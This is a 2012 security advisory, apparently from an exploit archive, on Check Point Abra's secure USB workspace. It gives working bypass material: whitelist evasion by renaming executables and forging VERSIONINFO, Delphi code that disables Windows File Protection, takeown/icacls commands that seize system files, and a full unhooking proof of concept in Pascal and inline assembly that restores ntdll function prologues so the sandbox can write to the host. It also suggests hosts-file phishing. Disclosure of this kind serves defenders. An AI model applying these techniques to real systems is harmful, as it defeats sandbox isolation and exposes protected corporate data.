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Check Point Abra Bypass / Command Execution

Posted on 10 July 2012

Check Point Abra Vulnerabilities

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Vendor: Check Point Software Technologies Ltd
Product web page: http://rus.checkpoint.com/products/abra/index.html; http://www.checkpoint.com/products/go/
Platforms: Windows XP, Vista, 7 (32 bit)
Authors: Belov V., Komarov A. (Group-IB)

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Summary: Check Point Abra allows you to create a secure virtual workspace on any PC, this solution may significantly affect the way of organizing the work of mobile employees. With Abra solutions you can easily turn any PC into a fully secure workplace, so you no longer need to carry bulky laptops or heavy folders. Convenient USB-drive form factor body allows you to quickly create a virtual workplace, while the virtualization technology and built-in encryption ensures the mobile data safety. Abra provides users with protection when working in offline mode by an encrypted USB-drive, and online - through VPN client software.

Description: Imperfect control modules and data monitoring application allows you to run any file, bypassing the current policy around virtualization, and readwrite data from an isolated Abra session directly into the PC operating system, conduct phishing attacks, etc.

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Run third-party software in a secure session:

Control rules used applications are in the file
X:PWCdatasandbox-persistence.ref (и X:PWCdata swspogo.xml, F:PWCdata ISWPolicy.xml, X:PWCdata ics_policy.xml). Any application not from the white list will not be able to perform when working in a secure session.

As part of the session is allowed to run the pre-installed software: Internet Explorer, Notepad, Calculator, Office, Remote Desktop Connection (+ Portable Apps) to use system utilities, and host machines that are clearly indicated in the configuration file F:PWCdatasandbox-persistence.ref.

Example:

<Execute OriginalName="calc.exe" PathName="calc.exe" AppName="Microsoft Calculator" UIDescription="Microsoft Calculator" id="134"/>
Application Control session examines the application run only on paths, file names, as well as record VersionInfo in the file.

This implies you can import an arbitrary application and run it to bypass the control policy of applications. This is implemented by changing the file name and the field in the resource OriginalFilename VERSIONINFO on any of the white list. Moreover, the user may replace any executable file (eg archiver WinRar) to the host OS without any imports into the secure session and the file will automatically be filled in a secure session (run by the correspondences of extensions, or from the "start" menu).

It is also possible to substitute the system default software from the session "Start" menu (Internet Explorer, Notepad, Calculator, File Protection is off to the host OS, you need administrator rights). The substitution of system files can be implemented after disabling File Protection Windows File Protection with a call to the fifth ordinal of exported file system sfc_os.dll functions (windows xp), sample code:

 hInst := LoadLibrary('sfc_os.dll');
 proc := GetProcAddress(hInst, ordinal 5);
 filename := 'c:windowssystem32calc.exe';
 asm
 push -1
 push filename
 push 0
 call proc
 end

Either by modifying the rights to the file (Vista and above):
takeown /f <имя_Ñ„айла>
icacls <имя_Ñ„айла> /grant %username%:F
icacls <имя_Ñ„айла> /grant *S-1-1-0:(F)

It is also well executed Bat-files downloaded from the host computer’s folder called "Downloaded from PC", or any other.

The structure of the boot process and secure session:

During the secure session creates a separate process group. Executable files and libraries are the product of two assemblies 32 and 64-bit. But despite this, the 64-bit systems still run a few 32-bit modules in the X folder:  Go  PWC  WoW64.

The second copy process launches the ISWMGR.exe Explorer explorer.exe processes, which is the parent of all, offered in a secure session of external tools and imported programs.

When starting the imported files in a secure session they run a separate application-boot X:  PWC  WOW64  ISWLDR.dat. He, in turn, loads the library ISWUL.dll, causing the function to set InitHook interceptions. Installed hooks calling functions for working with files, the registry, the clipboard, cryptography, etc:

HANDLE (__stdcall *__cdecl GetAddrOf_SetClipboardData())(UINT, HANDLE)
{
 HANDLE (__stdcall *result)(UINT, HANDLE); // eax@1

 result = SetClipboardData;
 addr_SetClipboardData = SetClipboardData;
 return result;
}

int __cdecl hooks_Clipboard()
{
 int v0; // eax@1
 int v1; // eax@3
 int v2; // eax@5
 int v3; // eax@7
 int result; // eax@9

 v0 = splice_func(addr_SetClipboardData, callback_SetClipboardData);
 if ( v0 )
 addr_SetClipboardData = v0;
 v1 = splice_func(addr_GetClipboardData, callback_GetClipboardData);
 if ( v1 )
 addr_GetClipboardData = v1;
 v2 = splice_func(addr_OpenClipboard, callback_OpenClipboard);
 if ( v2 )
 addr_OpenClipboard = v2;
 v3 = splice_func(addr_EmptyClipboard, callback_EmptyClipboard);
 if ( v3 )
 addr_EmptyClipboard = v3;
 result = splice_func(addr_CloseClipboard, callback_CloseClipboard);
 if ( result )
 addr_CloseClipboard = result;
 return result;
}

It is possible to bypass interceptor functions by their release (recovery of the original code functions as it was before the modification) - direct reading from a file system folder (for the use of technology before the reading system files must be copied to a temporary folder and install a structured exception handler), such as ntdll.dll, read the first 10-15 bytes of the function from the file and overwrite the buffer was read the prologue of the corresponding function in the memory (which is the function of the jump-hook, for example ZwLoadDriver).

Technique, for example, can allow making changes to files  Registry of the secure session directly to the host system.

procedure resolve_APIs_from_dll_images(mapped_dll_base: pointer; dllname: string);
var
var_4, var_8, var_10, var_20, var_24, var_2C, var_28, var_3C, var_1C, dllbase, Src, old: DWORD;
begin
asm
 pushad
 mov eax, [mapped_dll_base]
 mov ecx, [eax+3Ch]
 mov edx, [mapped_dll_base]
 lea eax, [edx+ecx+18h]
 mov [var_10], eax
 mov ecx, [var_10]
 mov edx, [mapped_dll_base]
 add edx, [ecx+60h]
 mov [var_4], edx
 mov eax, [var_4]
 mov ecx, [mapped_dll_base]
 add ecx, [eax+1Ch]
 mov [var_8], ecx
 mov ecx, [var_4]
 mov edx, [mapped_dll_base]
 add edx, [ecx+20h]
 mov [var_20], edx
 mov eax, [var_4]
 mov ecx, [mapped_dll_base]
 add ecx, [eax+24h]
 mov [var_2C], ec
 push dllname
 call LoadLibrary
 mov [var_28], eax
 cmp [var_28], 0
 jne @loc_41D111
 jmp @ending
@loc_41D111:
 mov [var_24], 0
 jmp @loc_41D135
@loc_41D11A:
 mov eax, [var_24]
 add eax, 1
 mov [var_24], eax
 mov ecx, [var_20]
 add ecx, 4
 mov [var_20], ecx
 mov edx, [var_2C]
 add edx, 2
 mov [var_2C], edx
@loc_41D135:
 mov eax, [var_4]
 mov ecx, [var_24]
 cmp ecx, [eax+18h]
 jnb @ending
 mov ecx, [var_24]
 mov edx, [var_20]
 mov eax, [mapped_dll_base]
 add eax, [edx]
 mov ecx, [var_24]
 mov edx, [var_8]
 mov eax, [var_28]
 add eax, [edx+ecx*4]
 mov [var_3C], eax
 mov ecx, [var_24]
 mov edx, [var_8]
 mov eax, [mapped_dll_base]
 add eax, [edx+ecx*4]
 mov [Src], eax
 push 0Ah
 mov ecx, [Src]
 push ecx
 lea edx, [Dst]
 push edx
 call memcpy
 add esp, 0Ch
 lea eax, [old]
 push eax
 push PAGE_EXECUTE_READWRITE
 push 0Ah
 mov eax, [var_3C]
 push eax
 call VirtualProtect
 push 0Ah
 lea ecx, [Dst]
 push ecx
 mov eax, [var_3C]
 push eax
 call memcpy
 add esp, 0Ch
 jmp @loc_41D11A
@ending:
 popad
end;
end;

function UnHook(dllname: string): boolean;
var
 MapOffset: pointer;
 dll, filename: string;
 MapHandle, FileHandle: THandle;
Begin
 dll := SystemDir + '' + dllname;
 filename := GetSpecialPath(CSIDL_APPDATA) + '' + dllname;
 result := CopyFile(PChar(dll), PChar(filename), false);
 if result then
 begin
 FileHandle := CreateFile(pChar(filename), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
 If FileHandle <> INVALID_HANDLE_VALUE then
 Try
 MapHandle := CreateFileMapping(FileHandle, nil, $1000002, 0, 0, nil);
 If MapHandle <> 0 then
 Try
 MapOffset := MapViewOfFile(MapHandle, FILE_MAP_READ, 0, 0, 0);
 If MapOffset <> nil then
 Try
 resolve_APIs_from_dll_images(MapOffset, dllname);
 Finally
 UnmapViewOfFile(MapOffset);
 End;
 Finally
 CloseHandle(MapHandle);
 End;
 Finally
 CloseHandle(FileHandle);
 End;
 DeleteFile(filename);
 end;
End;

procedure Write2File(filename, s: string);
var
f: textfile;
begin
 assignfile(f, filename);
 rewrite(f);
 writeln(f, s);
 closefile(f);
end;

begin
UnHook('ntdll.dll');
..
Write2File('c:usersAdministratorDesktopPOC.txt', 'Now we writing to host OS');
end;

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Possible implementation of a phishing attack by modifying the file etc  hosts host system, all changes in it are also automatically applied for the secure session.

 

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